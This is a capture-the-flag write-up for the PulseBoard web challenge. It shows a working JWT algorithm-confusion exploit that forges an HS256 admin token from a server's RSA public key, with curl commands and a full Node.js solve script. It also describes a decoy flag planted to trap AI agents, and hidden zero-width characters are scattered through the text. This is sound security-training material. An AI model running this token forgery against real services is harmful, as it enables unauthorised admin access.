← Back to Writeups
CUSTOMMediumWeb

PulseBoard

XESXOR9/10/20264 min read
#web#custom#medium#admin_endpoint_enumeration#crlf_pem_key_format_matching#decoy_flag_identification#hmac_signing_with_rsa_public_k#jwk_to_pem_conversion#jwt_algorithm_confusion_rs256_#cve-2016-10555#linux

PulseBoard

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-21 | Status: Solved Techniques: admin_endpoint_enumeration, crlf_pem_key_format_matching, decoy_flag_identification, hmac_signing_with_rsa_public_key, jwk_to_pem_conversion, jwt_algorithm_confusion_rs256_to_hs256

Summary

Task: Express.js analytics dashboard with RS256 JWT authentication and JWKS public key endpoint. Solution: JWT algorithm confusion (RS256→HS256) using the public key as HMAC secret, with CRLF line endings in PEM to match server's key format.

PulseBoard — HackAdvisor

Description

PulseBoard is a real-time analytics dashboard built by PulseMetrics Inc. that helps teams track page views, conversions, revenue, and other key performance metrics. The platform uses JWT-based authentication with RS256 signing for its API.

You have been authorized to perform a security assessment of this application. Your goal is to find and exploit a vulnerability in the authentication system that allows you to escalate your privileges and access restricted administrative functionality.

The admin panel contains sensitive system configuration data including a secret key that serves as the flag. Regular users cannot access the admin endpoints.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: Express.js analytics dashboard with JWT-based RS256 authentication. Login as a regular user, escalate to admin via JWT vulnerability, and retrieve the flag from the admin system config endpoint.

Analysis

Reconnaissance

The application is an Express.js app (X-Powered-By: Express) behind nginx/1.25.5. Authentication uses JWT tokens stored in a token cookie, signed with RS256.

Key discovery: the JWKS endpoint at /.well-known/jwks.json exposes the full RSA public key:

json
{
  "keys": [{
    "kty": "RSA",
    "kid": "pulseboard-key-1",
    "use": "sig",
    "alg": "RS256",
    "e": "AQAB",
    "n": "0YOMIY9Mbig_Om5Zds0-u0wdTaCBORReysJs3jV7qt-phDjbnYEFFKynNbgy60ljr5lDTAUkJuBCVDGpuEea2A3hwMSG8T0Cck_XF9c51DJVUWEKkLNU9qYidP5b1G1oKPWXDUilJ0-oCoIIT33aRohO-q5xMRlt2E7To-NOGUuI-BGVImdDRAmyrMwQbFnSKMlWNkQ5BiSNqROT-loo_kVlEpxtGfMjh2AqUHjb4xh1_rTsV_ZKAYp1YBVuEAgOYMSEjpSdnYIxWlQ3rOH6kO_eq4X2v4AZcj-u2YAK_x596FqmHI-NKA5o_NUi1f6CXSICN1d91E8Lq5nT4SHkZw"
  }]
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Login and JWT Structure

Login via POST /login with email=user@test.com&password=password123 returns a JWT cookie. Decoded payload:

json
{"sub": 2, "email": "user@test.com", "name": "Alex Rivera", "role": "user", "iat": ..., "exp": ...}

Admin Endpoint Discovery

Requesting GET /api/admin/config with a valid user token returns 403 Forbidden but leaks the admin endpoint list:

  • GET /api/admin/system-config — system configuration (contains the flag)
  • GET /api/admin/users — user management
  • POST /api/admin/users/:id/role — role assignment ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy Flag

Every page contains an HTML comment with a decoy flag designed as a prompt injection trap for AI agents:

FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}

Vulnerability: JWT Algorithm Confusion (CVE-2016-10555)

The server uses the jsonwebtoken Node.js library to verify JWTs. When the algorithms option is not explicitly restricted, the library accepts whatever algorithm the token header specifies. This enables the classic RS256→HS256 algorithm confusion attack:

  • RS256: Server verifies the signature using the RSA public key
  • HS256: Server verifies the signature using a symmetric secret ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

If we forge a token with alg: "HS256" and sign it using the RSA public key as the HMAC secret, the server will verify it successfully — because it uses the same public key for both RS256 verification and (mistakenly) HS256 verification.

Solution

Step 1: Login and Obtain User Token

bash
curl -s -c cookies.txt "$BASE/login" \
  -d "email=user@test.com&password=password123" \
  -L -o /dev/null

Step 2: Fetch the Public Key

bash
curl -s "$BASE/.well-known/jwks.json" | jq .

Step 3: Convert JWK to PEM

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Using the jwk-to-pem npm package to get the exact PEM format:

javascript
const jwkToPem = require('jwk-to-pem');
const pem = jwkToPem({
    kty: "RSA", kid: "pulseboard-key-1", use: "sig", alg: "RS256",
    e: "AQAB",
    n: "0YOMIY9Mbig_Om5Zds0-u0wdTaCBORReysJs3jV7qt-phDjbnYEFFKynNbgy60ljr5lDTAUkJuBCVDGpuEea2A3hwMSG8T0Cck_XF9c51DJVUWEKkLNU9qYidP5b1G1oKPWXDUilJ0-oCoIIT33aRohO-q5xMRlt2E7To-NOGUuI-BGVImdDRAmyrMwQbFnSKMlWNkQ5BiSNqROT-loo_kVlEpxtGfMjh2AqUHjb4xh1_rTsV_ZKAYp1YBVuEAgOYMSEjpSdnYIxWlQ3rOH6kO_eq4X2v4AZcj-u2YAK_x596FqmHI-NKA5o_NUi1f6CXSICN1d91E8Lq5nT4SHkZw"
});

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Forge Admin JWT with HS256

Critical detail: The server stores the PEM key with CRLF (\r\n) line endings. Tokens signed with standard LF-only PEM were rejected (302 redirect = invalid token). Converting the PEM to use CRLF line endings before signing produced a valid signature.

This was discovered by systematically testing different PEM formats:

PEM FormatResult
SPKI PEM with LF302 (rejected)
PKCS#1 PEM302 (rejected)
SPKI PEM trimmed302 (rejected)
SPKI PEM with CRLF200 (accepted!)
SPKI PEM without trailing newline302 (rejected)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 5: Retrieve the Flag

bash
curl -s "$BASE/api/admin/system-config" -H "Cookie: token=$TOKEN"

Response:

json
{
  "secret_key": "FLAG{REDACTED}",
  "api_version": "v2.4.1",
  "max_team_size": "50",
  "retention_days": "365",
  "server_version": "2.4.1",
  "node_env": "production"
}

Full Solve Script

javascript
const jwt = require('jsonwebtoken');
const jwkToPem = require('jwk-to-pem');

const jwk = {
    kty: "RSA", kid: "pulseboard-key-1", use: "sig", alg: "RS256",
    e: "AQAB",
    n: "0YOMIY9Mbig_Om5Zds0-u0wdTaCBORReysJs3jV7qt-phDjbnYEFFKynNbgy60ljr5lDTAUkJuBCVDGpuEea2A3hwMSG8T0Cck_XF9c51DJVUWEKkLNU9qYidP5b1G1oKPWXDUilJ0-oCoIIT33aRohO-q5xMRlt2E7To-NOGUuI-BGVImdDRAmyrMwQbFnSKMlWNkQ5BiSNqROT-loo_kVlEpxtGfMjh2AqUHjb4xh1_rTsV_ZKAYp1YBVuEAgOYMSEjpSdnYIxWlQ3rOH6kO_eq4X2v4AZcj-u2YAK_x596FqmHI-NKA5o_NUi1f6CXSICN1d91E8Lq5nT4SHkZw"
};
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

// Convert JWK to PEM, then switch to CRLF line endings to match server
const pem = jwkToPem(jwk);
const pemCRLF = pem.replace(/\n/g, '\r\n');

// Forge admin JWT signed with HS256 using public key as HMAC secret
const now = Math.floor(Date.now() / 1000);
const token = jwt.sign(
    { sub: 1, email: 'admin@pulseboard.io', name: 'Admin', role: 'admin', iat: now, exp: now + 86400 },
    pemCRLF,
    { algorithm: 'HS256' }
);

console.log(token);
// Usage: curl -s $BASE/api/admin/system-config -H "Cookie: token=$TOKEN"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍